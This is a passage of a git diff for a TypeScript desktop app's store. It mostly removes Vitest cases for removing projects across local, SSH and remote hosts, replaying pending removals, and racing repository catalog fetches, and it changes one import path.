-        'tab-local': ['pty-local'],
-        'tab-ssh': [sshPtyId],
-        'tab-ssh-mirrored': [remotePtyId]
-      },
-      // Selected through the paired runtime that reaches the SSH copy.
-      activeWorktreeId: WORKTREE_ID,
-      activeWorkspaceExecutionHostId: REMOTE_HOST,
-      recentlyClosedEditorTabsByWorktree: {
-        [WORKTREE_ID]: [
-          { ...closedSnapshot('/work/same/via-runtime.ts'), runtimeEnvironmentId: 'env-b' }
-        ]
-      },
-      // Records whose tabs are gone.
-      sleepingAgentSessionsByPaneKey: {
-        'gone-ssh:leaf': sleepingRecord('gone-ssh:leaf', 'target-1'),
-        'gone-local:leaf': sleepingRecord('gone-local:leaf', null)
-      },
-      terminalLayoutsByTabId: {
-        'tab-ssh-restored': {
-          root: null,
-          activeLeafId: null,
-          expandedLeafId: null,
-          ptyIdsByLeafId: { 'leaf-1': toAppSshPtyId('target-1', 'relay-2') }
-        }
-      }
-    })
-
-    await store.getState().removeProject(PROJECT_ID, { hostId: 'ssh:target-1' })
-
-    expect(ptyKill).not.toHaveBeenCalledWith('pty-local')
-    expect(ptyKill).toHaveBeenCalledWith(sshPtyId)
-    // A parked layout hint closes its tab but is never killed: it may name another host's session.
-    expect(ptyKill).not.toHaveBeenCalledWith(toAppSshPtyId('target-1', 'relay-2'))
-    expect(store.getState().activeWorkspaceExecutionHostId).not.toBe(REMOTE_HOST)
-    // A tabless record names no tab the removal closes, so it stays (stale) rather than risk the survivor's.
-    expect(Object.keys(store.getState().sleepingAgentSessionsByPaneKey)).toContain(
-      'gone-local:leaf'
-    )
-    expect(store.getState().tabsByWorktree[WORKTREE_ID]?.map((tab) => tab.id)).toEqual([
-      'tab-local'
-    ])
-  })
-
-  it('purges the shared state when both copies are removed at once', async () => {
-    const store = seedTwins()
-
-    await Promise.all([
-      store.getState().removeProject(PROJECT_ID, { hostId: REMOTE_HOST }),
-      store.getState().removeProject(PROJECT_ID, { hostId: 'local' })
-    ])
-
-    const state = store.getState()
-    expect(state.repos).toEqual([])
-    expect(state.tabsByWorktree[WORKTREE_ID] ?? []).toEqual([])
-    expect(state.unifiedTabsByWorktree[WORKTREE_ID] ?? []).toEqual([])
-    expect(state.openFiles).toEqual([])
-  })
-
-  it('keeps a PTY that a tab outside the removal still binds', async () => {
-    const store = createTestStore()
-    const sshRow: Repo = { ...localRow, connectionId: 'target-1', executionHostId: 'ssh:target-1' }
-    const sharedPtyId = toAppSshPtyId('target-1', 'relay-shared')
-    const otherWorktreeId = 'other-repo::/work/other'
-    store.setState({
-      repos: [localRow, sshRow],
-      worktreesByRepo: {
-        [PROJECT_ID]: [
-          makeWorktree({ id: WORKTREE_ID, repoId: PROJECT_ID, hostId: 'local' }),
-          makeWorktree({ id: WORKTREE_ID, repoId: PROJECT_ID, hostId: 'ssh:target-1' })
-        ]
-      },
-      tabsByWorktree: {
-        [WORKTREE_ID]: [makeTab({ id: 'tab-ssh', worktreeId: WORKTREE_ID, ptyId: sharedPtyId })],
-        [otherWorktreeId]: [
-          makeTab({ id: 'tab-other', worktreeId: otherWorktreeId, ptyId: sharedPtyId })
-        ]
-      },
-      ptyIdsByTabId: { 'tab-ssh': [sharedPtyId], 'tab-other': [sharedPtyId] }
-    })
-
-    await store.getState().removeProject(PROJECT_ID, { hostId: 'ssh:target-1' })
-
-    expect(ptyKill).not.toHaveBeenCalledWith(sharedPtyId)
-    expect(store.getState().tabsByWorktree[otherWorktreeId]?.map((tab) => tab.id)).toEqual([
-      'tab-other'
-    ])
-  })
-
-  it('removing the local copy closes its stale editor tabs and stops the local pane in a mixed tab', async () => {
-    const store = seedTwins()
-    const closedBrowser = (id: string, browserRuntimeEnvironmentId: string | null) => ({
-      workspace: browserWorkspace(id),
-      pages: [{ ...browserWorkspace(id), workspaceId: id, browserRuntimeEnvironmentId }]
-    })
-    store.setState((s) => ({
-      // Stamped local, but one pane runs on the surviving runtime: it is not only local's.
-      tabsByWorktree: {
-        [WORKTREE_ID]: [
-          ...(s.tabsByWorktree[WORKTREE_ID] ?? []),
-          makeTab({ id: 'tab-mixed', worktreeId: WORKTREE_ID, ptyId: 'pty-mixed-local' }),
-          // A legacy remote pane names no owner, so the local stamp cannot claim it.
-          makeTab({ id: 'tab-foreign', worktreeId: WORKTREE_ID, ptyId: 'remote:legacy-handle' })
-        ]
-      },
-      ptyIdsByTabId: {
-        ...s.ptyIdsByTabId,
-        'tab-mixed': ['pty-mixed-local', remotePtyId],
-        'tab-foreign': ['remote:legacy-handle']
-      },
-      recentlyClosedBrowserTabsByWorktree: {
-        [WORKTREE_ID]: [
-          closedBrowser('closed-local', null),
-          closedBrowser('closed-remote', 'env-b')
-        ]
-      },
-      unifiedTabsByWorktree: {
-        [WORKTREE_ID]: [
-          ...(s.unifiedTabsByWorktree[WORKTREE_ID] ?? []),
-          makeUnifiedTab({
-            id: 'tab-mixed',
-            worktreeId: WORKTREE_ID,
-            groupId: 'group-1',
-            executionHostId: 'local'
-          }),
-          makeUnifiedTab({
-            id: 'tab-foreign',
-            worktreeId: WORKTREE_ID,
-            groupId: 'group-1',
-            executionHostId: 'local'
-          }),
-          makeUnifiedTab({
-            id: 'stale-editor',
-            worktreeId: WORKTREE_ID,
-            groupId: 'group-1',
-            contentType: 'editor',
-            executionHostId: 'local'
-          })
-        ]
-      }
-    }))
-
-    await store.getState().removeProject(PROJECT_ID, { hostId: 'local' })
-    await layoutApplyTestTransport.settle()
-
-    const state = store.getState()
-    expect(
-      state.recentlyClosedBrowserTabsByWorktree[WORKTREE_ID]?.map((entry) => entry.workspace.id)
-    ).toContain('closed-remote')
-    expect(state.unifiedTabsByWorktree[WORKTREE_ID]?.map((tab) => tab.id)).toEqual([
-      'tab-remote',
-      'editor:remote-file',
-      'tab-mixed',
-      'tab-foreign'
-    ])
-    expect(ptyKill).not.toHaveBeenCalledWith(remotePtyId)
-    // The mixed tab stays for its runtime pane, but the removed local pane's shell is stopped.
-    expect(ptyKill).toHaveBeenCalledWith('pty-mixed-local')
-    expect(
-      state.recentlyClosedEditorTabsByWorktree[WORKTREE_ID]?.map((snapshot) => snapshot.filePath)
-    ).toContain('/work/same/old-remote.ts')
-  })
-
   it('keeps a tab that gained a surviving pane during removal and stops its removed pane', async () => {
     const store = seedTwins()
     store.setState((s) => ({
@@ -603,68 +264,4 @@ describe('removing a remote project keeps its local twin', () => {
     expect(ptyKill).toHaveBeenCalledWith('pty-local')
     expect(ptyKill).not.toHaveBeenCalledWith(remotePtyId)
   })
-
-  it('still retires a removed-host tab a host frame dropped during the call', async () => {
-    const store = seedTwins()
-    const agentStatus = (paneKey: string) => ({
-      state: 'working' as const,
-      prompt: '',
-      updatedAt: 1,
-      stateStartedAt: 1,
-      paneKey,
-      stateHistory: [],
-      agentType: 'claude' as const
-    })
-    store.setState({
-      agentStatusByPaneKey: {
-        'tab-local:leaf': agentStatus('tab-local:leaf'),
-        'tab-remote:leaf': agentStatus('tab-remote:leaf')
-      }
-    })
-    // Like a snapshot reducer: the tab goes, its agent rows stay.
-    onRepoRemoved = () =>
-      store.setState((s) => ({
-        tabsByWorktree: {
-          [WORKTREE_ID]: (s.tabsByWorktree[WORKTREE_ID] ?? []).filter(
-            (tab) => tab.id !== 'tab-remote'
-          )
-        },
-        unifiedTabsByWorktree: {
-          [WORKTREE_ID]: (s.unifiedTabsByWorktree[WORKTREE_ID] ?? []).filter(
-            (tab) => tab.id !== 'tab-remote'
-          )
-        }
-      }))
-
-    await store.getState().removeProject(PROJECT_ID, { hostId: REMOTE_HOST })
-
-    expect(Object.keys(store.getState().agentStatusByPaneKey)).toEqual(['tab-local:leaf'])
-  })
-
-  it('retires a dropped removed-host tab when the other copy also went during the call', async () => {
-    const store = seedTwins()
-    // The other copy's removal and a host frame both land while this call is pending.
-    onRepoRemoved = () =>
-      store.setState((s) => ({
-        worktreesByRepo: {
-          [PROJECT_ID]: (s.worktreesByRepo[PROJECT_ID] ?? []).filter(
-            (row) => row.hostId !== LOCAL_HOST
-          )
-        },
-        tabsByWorktree: {
-          [WORKTREE_ID]: (s.tabsByWorktree[WORKTREE_ID] ?? []).filter(
-            (tab) => tab.id !== 'tab-remote'
-          )
-        },
-        unifiedTabsByWorktree: {
-          [WORKTREE_ID]: (s.unifiedTabsByWorktree[WORKTREE_ID] ?? []).filter(
-            (tab) => tab.id !== 'tab-remote'
-          )
-        }
-      }))
-
-    await store.getState().removeProject(PROJECT_ID, { hostId: REMOTE_HOST })
-
-    expect(store.getState().ptyIdsByTabId['tab-remote']).toBeUndefined()
-  })
 })
diff --git a/src/renderer/src/store/repos/project-removal-owner-host.test.ts b/src/renderer/src/store/repos/project-removal-owner-host.test.ts
index 3f5768a4942..a2af1b79f5f 100644
--- a/src/renderer/src/store/repos/project-removal-owner-host.test.ts
+++ b/src/renderer/src/store/repos/project-removal-owner-host.test.ts
@@ -1,7 +1,6 @@
 // Require exact host row on removal: unique-candidate/focused fallbacks can destroy the other host’s same-ID project (#13071).
 import { beforeEach, describe, expect, it, vi } from 'vitest'
 import { createTestStore } from '../testing/app-store-test-fixture'
-import { purgeOrphanedRuntimeSshProjects } from '../slices/worktrees/teardown/orphaned-runtime-ssh-project-purge'
 import type { ProjectGroup } from '../../../../shared/project-group-types'
 import type { Repo } from '../../../../shared/repo-types'
 import { clearRuntimeCompatibilityCache as clearRuntimeCompatibilityCacheForTests } from '../../runtime/rpc/compatibility/runtime-compatibility-cache'
@@ -89,20 +88,6 @@ describe('project removal stays on its owner host (#13071)', () => {
     expect(runtimeCall).not.toHaveBeenCalled()
   })
 
-  it('purges a destroyed SSH host row without touching the same id on the focused host', async () => {
-    const store = createTestStore()
-    store.setState({ repos: [localRow, sshRow] })
-
-    await purgeOrphanedRuntimeSshProjects(store.getState, ['target-1'])
-
-    expect(store.getState().repos).toEqual([localRow])
-    expect(reposRemoveForHost).toHaveBeenCalledWith({
-      repoId: 'same-repo',
-      hostId: 'ssh:target-1'
-    })
-    expect(reposRemove).not.toHaveBeenCalled()
-  })
-
   it('removes every row an owned group holds under the id, each on its own host', async () => {
     const store = createTestStore()
     store.setState({
diff --git a/src/renderer/src/store/repos/project-removal-unreachable-server.test.ts b/src/renderer/src/store/repos/project-removal-unreachable-server.test.ts
index 27a3114b89f..00b2c060e3f 100644
--- a/src/renderer/src/store/repos/project-removal-unreachable-server.test.ts
+++ b/src/renderer/src/store/repos/project-removal-unreachable-server.test.ts
@@ -2,17 +2,14 @@
 import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
 import { toast } from 'sonner'
 import { createTestStore } from '../testing/app-store-test-fixture'
-import { makeWorktree } from '../slices/worktrees/worktree.test-fixture'
 import type { Repo } from '../../../../shared/repo-types'
 import {
   createCompatibleRuntimeStatusResponseIfNeeded,
   type RuntimeEnvironmentCallRequest
 } from '../../runtime/rpc/testing/runtime-compatibility-test-fixture'
 import { clearRuntimeCompatibilityCache as clearRuntimeCompatibilityCacheForTests } from '../../runtime/rpc/compatibility/runtime-compatibility-cache'
-import { mergeFetchedRepoCatalog } from './repo-catalog-merge'
 import {
   listPendingRuntimeRepoRemovals,
-  replayPendingRuntimeRepoRemovals,
   resetPendingRuntimeRepoRemovalsForTests,
   seedPendingRuntimeRepoRemovals
 } from './pending-runtime-repo-removals'
@@ -61,25 +58,6 @@ async function answer(args: RuntimeEnvironmentCallRequest): Promise<unknown> {
   return { id: args.method, ok: true, result: {}, _meta: meta }
 }
 
-function seedRemoteProject(): ReturnType<typeof createTestStore> {
-  const store = createTestStore()
-  const worktree = makeWorktree({ id: 'app::/home/me/app', repoId: 'app', hostId: 'runtime:env-1' })
-  store.setState({ repos: [remoteRepo], worktreesByRepo: { app: [worktree] } })
-  return store
-}
-
-function serverStillLists(store: ReturnType<typeof createTestStore>): readonly Repo[] {
-  return mergeFetchedRepoCatalog(
-    {
-      repos: [remoteRepo],
-      projectHostSetupCompatibility: { projects: [], setups: [] },
-      hostId: 'runtime:env-1',
-      reposAtRequest: store.getState().repos
-    },
-    store.getState().repos
-  ).repos
-}
-
 function readySnapshot(): RuntimeHostStatusSnapshot {
   return {
     environmentId: 'env-1',
@@ -114,74 +92,6 @@ beforeEach(() => {
 afterEach(() => vi.unstubAllGlobals())
 
 describe('removing a project while its paired server is unreachable', () => {
-  it('offers local removal, fences the server catalog, and replays repo.rm on reconnect', async () => {
-    const store = seedRemoteProject()
-
-    await store.getState().removeProject('app', { hostId: 'runtime:env-1', errorFeedback: 'toast' })
-
-    expect(store.getState().repos).toEqual([remoteRepo])
-    expect(vi.mocked(toast.error).mock.calls[0]?.[1]?.action).toMatchObject({
-      label: 'Remove from this desktop now'
-    })
-
-    // What that action runs: the same removal, skipping the unreachable server.
-    await store.getState().removeProject('app', { hostId: 'runtime:env-1', localOnly: true })
-    expect(store.getState().repos).toEqual([])
-    expect(listPendingRuntimeRepoRemovals('env-1')).toMatchObject([{ repoId: 'app' }])
-    expect(uiSet).toHaveBeenLastCalledWith({
-      pendingRuntimeRepoRemovals: [
-        expect.objectContaining({ environmentId: 'env-1', repoId: 'app' })
-      ]
-    })
-    // The server still lists it until the replay lands; that listing must not re-add it.
-    expect(serverStillLists(store)).toEqual([])
-
-    reachable = true
-    observeRuntimeHostStatusForPendingRemovals(readySnapshot())
-    await vi.waitFor(() => expect(listPendingRuntimeRepoRemovals('env-1')).toEqual([]), {
-      timeout: 20_000
-    })
-    expect(hostCalls.filter((method) => method === 'repo.rm')).toEqual(['repo.rm'])
-    expect(uiSet).toHaveBeenLastCalledWith({ pendingRuntimeRepoRemovals: [] })
-  })
-
-  it('keeps a record across disconnect, reconnect and re-pair, then replays it', async () => {
-    seedPendingRuntimeRepoRemovals([{ environmentId: 'env-1', repoId: 'app', requestedAt: 1 }])
-    const disconnected = { ...readySnapshot(), transport: 'disconnected' as const }
-
-    // Disconnect retires the status owner; a re-pair retires it again under a new revision.
-    observeRuntimeHostStatusForPendingRemovals(disconnected)
-    observeRuntimeHostStatusForPendingRemovals({ ...disconnected, retired: true })
-    observeRuntimeHostStatusForPendingRemovals({
-      ...disconnected,
-      pairingRevision: 2,
-      retired: true
-    })
-    await new Promise((resolve) => setTimeout(resolve, 0))
-    expect(listPendingRuntimeRepoRemovals('env-1')).toHaveLength(1)
-
-    reachable = true
-    observeRuntimeHostStatusForPendingRemovals({ ...readySnapshot(), pairingRevision: 2 })
-    await vi.waitFor(() => expect(listPendingRuntimeRepoRemovals('env-1')).toEqual([]), {
-      timeout: 20_000
-    })
-    expect(hostCalls.filter((method) => method === 'repo.rm')).toEqual(['repo.rm'])
-  })
-
-  it('replays at once when local removal is chosen while the server already reports ready', async () => {
-    const store = seedRemoteProject()
-    observeRuntimeHostStatusForPendingRemovals(readySnapshot())
-    reachable = true
-
-    await store.getState().removeProject('app', { hostId: 'runtime:env-1', localOnly: true })
-
-    await vi.waitFor(() => expect(listPendingRuntimeRepoRemovals('env-1')).toEqual([]), {
-      timeout: 20_000
-    })
-    expect(hostCalls.filter((method) => method === 'repo.rm')).toEqual(['repo.rm'])
-    expect(store.getState().repos).toEqual([])
-  })
-
   it('retries when the server reconnects while a replay is still failing', async () => {
     seedPendingRuntimeRepoRemovals([{ environmentId: 'env-1', repoId: 'app', requestedAt: 1 }])
     reachable = true
@@ -208,29 +118,6 @@ describe('removing a project while its paired server is unreachable', () => {
     expect(rmAttempts).toBe(2)
   })
 
-  it('never lets a replayed repo.rm undo a re-add of the same project', async () => {
-    seedPendingRuntimeRepoRemovals([{ environmentId: 'env-1', repoId: 'app', requestedAt: 1 }])
-    reachable = true
-    const store = createTestStore()
-
-    // Re-add first: it clears the record, so the replay that reconnect starts removes nothing.
-    const added = store.getState().addRepoPath('/home/me/app', 'git', {
-      runtimeEnvironmentId: 'env-1'
-    })
-    const replay = replayPendingRuntimeRepoRemovals(
-      'env-1',
-      async (repoId) => {
-        hostCalls.push(`replay:${repoId}`)
-      },
-      vi.fn()
-    )
-    await Promise.all([added, replay])
-
-    expect(hostCalls).not.toContain('replay:app')
-    expect(listPendingRuntimeRepoRemovals('env-1')).toEqual([])
-    expect(store.getState().repos.map((repo) => repo.id)).toEqual(['app'])
-  })
-
   it('holds a re-add until an in-flight replay has finished', async () => {
     seedPendingRuntimeRepoRemovals([{ environmentId: 'env-1', repoId: 'app', requestedAt: 1 }])
     reachable = true
diff --git a/src/renderer/src/store/repos/repo-removal.ts b/src/renderer/src/store/repos/repo-removal.ts
index 9c98b6d4f6f..2e07fef563e 100644
--- a/src/renderer/src/store/repos/repo-removal.ts
+++ b/src/renderer/src/store/repos/repo-removal.ts
@@ -182,7 +182,8 @@ export function createRepoRemovalActions(
           repoMatchesHostIdentity(repo, projectId, ownerHostId)
         )?.path
         get().evictGitHubRepoCaches(projectId, repoPath, ownerHostId)
-        const { clearRepoSlugCacheEntry } = await import('../../lib/repo-slug-index')
+        const { clearRepoSlugCacheEntry } =
+          await import('../../lib/workspace/catalog/repo-slug-index')
         clearRepoSlugCacheEntry(projectId)
 
         const worktreeIds = [
diff --git a/src/renderer/src/store/repos/repos-all-hosts-generation.test.ts b/src/renderer/src/store/repos/repos-all-hosts-generation.test.ts
index 514f683bcfa..b8802a8344f 100644
--- a/src/renderer/src/store/repos/repos-all-hosts-generation.test.ts
+++ b/src/renderer/src/store/repos/repos-all-hosts-generation.test.ts
@@ -67,226 +67,6 @@ afterEach(() => {
 })
 
 describe('fetchReposForAllHosts generation', () => {
-  it('starts worktree discovery for a ready host while a peer catalog is still pending', async () => {
-    let releaseSlow = (): void => {}
-    const slow = new Promise<void>((resolve) => {
-      releaseSlow = resolve
-    })
-    let releaseVisibility = (): void => {}
-    const visibility = new Promise<void>((resolve) => {
-      releaseVisibility = resolve
-    })
-    vi.mocked(window.api.runtimeEnvironments.list).mockResolvedValue(
-      ['healthy', 'slow'].map((id) => ({
-        id,
-        name: id,
-        createdAt: 1,
-        updatedAt: 1,
-        lastUsedAt: null,
-        runtimeId: null,
-        endpoints: [],
-        preferredEndpointId: 'test'
-      }))
-    )
-    runtimeEnvironmentCall.mockImplementation(async (args: RuntimeEnvironmentCallRequest) => {
-      if ('selector' in args && args.selector === 'slow') {
-        await slow
-      }
-      if (args.method === 'settings.get') {
-        await visibility
-      }
-      return {
-        id: 'rpc-catalog',
-        ok: true,
-        result: { repos: [remoteRepo], projects: [], setups: [], settings: {} },
-        _meta: { runtimeId: 'remote-runtime' }
-      }
-    })
-    const store = createTestStore()
-    const discoveredHosts: string[] = []
-    const load = store.getState().fetchReposForAllHosts({
-      onHostLoaded: async (hostId) => {
-        discoveredHosts.push(hostId)
-        if (hostId === 'runtime:healthy') {
-          expect(store.getState().worktreeVisibilityDefaultsByHost).toHaveProperty(hostId)
-          expect(store.getState().repos.some((repo) => repo.executionHostId === hostId)).toBe(true)
-        }
-      }
-    })
-    await vi.waitFor(() => expect(discoveredHosts).toEqual(['local']))
-    releaseVisibility()
-    await vi.waitFor(() => expect(discoveredHosts).toEqual(['local', 'runtime:healthy']))
-    releaseSlow()
-    await load
-    expect(discoveredHosts).toEqual(['local', 'runtime:healthy', 'runtime:slow'])
-  })
-
-  it('settles startup hydration after the local catalog without waiting for remotes', async () => {
-    let resolveRemote!: (value: unknown) => void
-    let markRemoteStarted!: () => void
-    const remote = new Promise((resolve) => {
-      resolveRemote = resolve
-    })
-    const remoteStarted = new Promise<void>((resolve) => {
-      markRemoteStarted = resolve
-    })
-    runtimeEnvironmentCall.mockImplementation((args: RuntimeEnvironmentCallRequest) => {
-      if (args.method === 'repo.list') {
-        markRemoteStarted()
-        return remote
-      }
-      return {
-        id: 'rpc-other',
-        ok: true,
-        result: { projects: [], setups: [] },
-        _meta: { runtimeId: 'runtime-remote' }
-      }
-    })
-    const store = createTestStore()
-
-    const load = store.getState().fetchReposForAllHosts()
-    await remoteStarted
-    await store.getState().awaitLocalRepoCatalogSettlement()
-
-    expect(store.getState().repos.map((repo) => repo.id)).toEqual(['local-repo'])
-
-    resolveRemote({
-      id: 'rpc-repo-list',
-      ok: true,
-      result: { repos: [remoteRepo] },
-      _meta: { runtimeId: 'runtime-remote' }
-    })
-    await load
-  })
-
-  it('does not let a remote refresh supersede or delay local startup settlement', async () => {
-    let resolveLocal!: (repos: Repo[]) => void
-    let resolveRemote!: (value: unknown) => void
-    const local = new Promise<Repo[]>((resolve) => {
-      resolveLocal = resolve
-    })
-    const remote = new Promise((resolve) => {
-      resolveRemote = resolve
-    })
-    reposList.mockReturnValueOnce(local)
-    runtimeEnvironmentCall.mockImplementation((args: RuntimeEnvironmentCallRequest) => {
-      if (args.method === 'repo.list') {
-        return remote
-      }
-      return {
-        id: 'rpc-other',
-        ok: true,
-        result: { projects: [], setups: [] },
-        _meta: { runtimeId: 'runtime-remote' }
-      }
-    })
-    const store = createTestStore()
-    store.setState({ settings: { activeRuntimeEnvironmentId: 'env-1' } as never })
-
-    const startup = store.getState().fetchReposForAllHosts({ remoteHosts: 'skip' })
-    const remoteRefresh = store.getState().fetchRepos(catalogOwner(store))
-    let remoteSettled = false
-    void remoteRefresh.then(() => {
-      remoteSettled = true
-    })
-
-    resolveLocal([localRepo])
-    await startup
-    await store.getState().awaitLocalRepoCatalogSettlement()
-
-    expect(remoteSettled).toBe(false)
-    expect(store.getState().repos.map((repo) => repo.id)).toEqual(['local-repo'])
-
-    resolveRemote({
-      id: 'rpc-repo-list',
-      ok: true,
-      result: { repos: [remoteRepo] },
-      _meta: { runtimeId: 'runtime-remote' }
-    })
-    await remoteRefresh
-    expect(store.getState().repos.map((repo) => repo.id)).toEqual(['local-repo', 'remote-repo'])
-  })
-
-  it('keeps an in-flight all-host remote result across a newer local refresh', async () => {
-    let resolveRemote!: (value: unknown) => void
-    let markRemoteStarted!: () => void
-    const remote = new Promise((resolve) => {
-      resolveRemote = resolve
-    })
-    const remoteStarted = new Promise<void>((resolve) => {
-      markRemoteStarted = resolve
-    })
-    runtimeEnvironmentCall.mockImplementation((args: RuntimeEnvironmentCallRequest) => {
-      if (args.method === 'repo.list') {
-        markRemoteStarted()
-        return remote
-      }
-      return {
-        id: 'rpc-other',
-        ok: true,
-        result: { projects: [], setups: [] },
-        _meta: { runtimeId: 'runtime-remote' }
-      }
-    })
-    const store = createTestStore()
-
-    const allHosts = store.getState().fetchReposForAllHosts()
-    await remoteStarted
-    await store.getState().fetchRepos({ runtimeEnvironmentId: null })
-    resolveRemote({
-      id: 'rpc-repo-list',
-      ok: true,
-      result: { repos: [remoteRepo] },
-      _meta: { runtimeId: 'runtime-remote' }
-    })
-    await allHosts
-
-    expect(store.getState().repos.map((repo) => repo.id)).toEqual(['local-repo', 'remote-repo'])
-  })
-
-  it('starts all-host remote loads after a newer local refresh replaces its local result', async () => {
-    let resolveOlderLocal!: (repos: Repo[]) => void
-    let resolveRemote!: (value: unknown) => void
-    let markRemoteStarted!: () => void
-    const olderLocal = new Promise<Repo[]>((resolve) => {
-      resolveOlderLocal = resolve
-    })
-    const remote = new Promise((resolve) => {
-      resolveRemote = resolve
-    })
-    const remoteStarted = new Promise<void>((resolve) => {
-      markRemoteStarted = resolve
-    })
-    reposList.mockReturnValueOnce(olderLocal)
-    runtimeEnvironmentCall.mockImplementation((args: RuntimeEnvironmentCallRequest) => {
-      if (args.method === 'repo.list') {
-        markRemoteStarted()
-        return remote
-      }
-      return {
-        id: 'rpc-other',
-        ok: true,
-        result: { projects: [], setups: [] },
-        _meta: { runtimeId: 'runtime-remote' }
-      }
-    })
-    const store = createTestStore()
-
-    const allHosts = store.getState().fetchReposForAllHosts()
-    await store.getState().fetchRepos({ runtimeEnvironmentId: null })
-    resolveOlderLocal([localRepo])
-    await remoteStarted
-    resolveRemote({
-      id: 'rpc-repo-list',
-      ok: true,
-      result: { repos: [remoteRepo] },
-      _meta: { runtimeId: 'runtime-remote' }
-    })
-    await allHosts
-
-    expect(store.getState().repos.map((repo) => repo.id)).toEqual(['local-repo', 'remote-repo'])
-  })
-
   it('keeps a newer Connect-flow catalog when an older all-host response resolves last', async () => {
     let resolveOlder!: (value: unknown) => void
     let markOlderStarted!: () => void
@@ -337,169 +117,6 @@ describe('fetchReposForAllHosts generation', () => {
     )
   })
 
-  it('keeps a newer all-host catalog when an older Connect-flow response resolves last', async () => {
-    let resolveOlder!: (value: unknown) => void
-    const older = new Promise((resolve) => {
-      resolveOlder = resolve
-    })
-    let repoListCalls = 0
-    runtimeEnvironmentCall.mockImplementation((args: RuntimeEnvironmentCallRequest) => {
-      if (args.method !== 'repo.list') {
-        return {
-          id: 'rpc-other',
-          ok: true,
-          result: { projects: [], setups: [] },
-          _meta: { runtimeId: 'runtime-remote' }
-        }
-      }
-      repoListCalls++
-      return repoListCalls === 1
-        ? older
-        : {
-            id: 'rpc-fresh',
-            ok: true,
-            result: { repos: [freshRemoteRepo] },
-            _meta: { runtimeId: 'runtime-remote' }
-          }
-    })
-    const store = createTestStore()
-
-    const connect = store.getState().fetchRuntimeEnvironmentRepos('env-1')
-    await store.getState().fetchReposForAllHosts()
-
-    resolveOlder({
-      id: 'rpc-stale',
-      ok: true,
-      result: { repos: [staleRemoteRepo] },
-      _meta: { runtimeId: 'runtime-remote' }
-    })
-    await connect
-
-    expect(store.getState().repos.find((repo) => repo.id === remoteRepo.id)?.path).toBe(
-      freshRemoteRepo.path
-    )
-  })
-
-  it('drops a targeted repo catalog that started before a reconnect', async () => {
-    const { promise: repoList, resolve: resolveRepoList } = Promise.withResolvers<unknown>()
-    const { promise: repoListStarted, resolve: markRepoListStarted } = Promise.withResolvers<void>()
-    runtimeEnvironmentCall.mockImplementation((args: RuntimeEnvironmentCallRequest) => {
-      if (args.method === 'repo.list') {
-        markRepoListStarted()
-        return repoList
-      }
-      return {
-        id: `rpc-${args.method}`,
-        ok: true,
-        result: { projects: [], setups: [] },
-        _meta: { runtimeId: 'runtime-before-reconnect' }
-      }
-    })
-    const store = createTestStore()
-    store
-      .getState()
-      .setRuntimeEnvironments([{ id: 'env-1', createdAt: 1, pairingRevision: 1 } as never])
-
-    const pending = store.getState().fetchRepos({ runtimeEnvironmentId: 'env-1' })
-    await repoListStarted
-    store
-      .getState()
-      .setRuntimeEnvironments([{ id: 'env-1', createdAt: 1, pairingRevision: 2 } as never])
-    store.setState({
-      repos: [{ ...freshRemoteRepo, executionHostId: 'runtime:env-1' }]
-    })
-    resolveRepoList({
-      id: 'rpc-stale',
-      ok: true,
-      result: { repos: [staleRemoteRepo] },
-      _meta: { runtimeId: 'runtime-before-reconnect' }
-    })
-    await pending
-
-    expect(store.getState().repos[0]?.path).toBe(freshRemoteRepo.path)
-  })
-
-  it('drops an all-host repo result that started before a reconnect (#20811)', async () => {
-    const { promise: repoList, resolve: resolveRepoList } = Promise.withResolvers<unknown>()
-    const { promise: repoListStarted, resolve: markRepoListStarted } = Promise.withResolvers<void>()
-    runtimeEnvironmentCall.mockImplementation((args: RuntimeEnvironmentCallRequest) => {
-      if (args.method === 'repo.list') {
-        markRepoListStarted()
-        return repoList
-      }
-      return {
-        id: `rpc-${args.method}`,
-        ok: true,
-        result: { projects: [], setups: [] },
-        _meta: { runtimeId: 'runtime-before-reconnect' }
-      }
-    })
-    const store = createTestStore()
-    store
-      .getState()
-      .setRuntimeEnvironments([{ id: 'env-1', createdAt: 1, pairingRevision: 1 } as never])
-
-    const pending = store.getState().fetchReposForAllHosts()
-    await repoListStarted
-    store
-      .getState()
-      .setRuntimeEnvironments([{ id: 'env-1', createdAt: 1, pairingRevision: 2 } as never])
-    store.setState({
-      repos: [localRepo, { ...freshRemoteRepo, executionHostId: 'runtime:env-1' }]
-    })
-    resolveRepoList({
-      id: 'rpc-stale',
-      ok: true,
-      result: { repos: [staleRemoteRepo] },
-      _meta: { runtimeId: 'runtime-before-reconnect' }
-    })
-    await pending
-
-    expect(
-      store.getState().repos.find((repo) => repo.executionHostId === 'runtime:env-1')?.path
-    ).toBe(freshRemoteRepo.path)
-  })
-
-  it('drops a Connect-flow catalog and visibility defaults from before a reconnect', async () => {
-    const { promise: repoList, resolve: resolveRepoList } = Promise.withResolvers<unknown>()
-    const { promise: repoListStarted, resolve: markRepoListStarted } = Promise.withResolvers<void>()
-    runtimeEnvironmentCall.mockImplementation((args: RuntimeEnvironmentCallRequest) => {
-      if (args.method === 'repo.list') {
-        markRepoListStarted()
-        return repoList
-      }
-      return {
-        id: `rpc-${args.method}`,
-        ok: true,
-        result:
-          args.method === 'settings.get'
-            ? { settings: { worktreeVisibilityDefaults: { external: 'show' } } }
-            : { projects: [], setups: [] },
-        _meta: { runtimeId: 'runtime-before-reconnect' }
-      }
-    })
-    const store = createTestStore()
-    store
-      .getState()
-      .setRuntimeEnvironments([{ id: 'env-1', createdAt: 1, pairingRevision: 1 } as never])
-
-    const pending = store.getState().fetchRuntimeEnvironmentRepos('env-1')
-    await repoListStarted
-    store
-      .getState()
-      .setRuntimeEnvironments([{ id: 'env-1', createdAt: 1, pairingRevision: 2 } as never])
-    resolveRepoList({
-      id: 'rpc-stale',
-      ok: true,
-      result: { repos: [staleRemoteRepo] },
-      _meta: { runtimeId: 'runtime-before-reconnect' }
-    })
-
-    await expect(pending).resolves.toEqual([])
-    expect(store.getState().repos).toEqual([])
-    expect(store.getState().worktreeVisibilityDefaultsByHost['runtime:env-1']).toBeUndefined()
-  })
-
   it('does not validate repo UI from a superseded refresh', async () => {
     let resolveOlderRemote!: (value: unknown) => void
     let resolveNewerRemote!: (value: unknown) => void
@@ -566,10 +183,3 @@ describe('fetchReposForAllHosts generation', () => {
     expect(store.getState().repos.map((repo) => repo.id)).toEqual(['local-repo', 'remote-repo'])
   })
 })
-
-// The catalog these tests read is the one the focused host would have shown.
-function catalogOwner(store: {
-  getState: () => { settings: { activeRuntimeEnvironmentId?: string | null } | null }
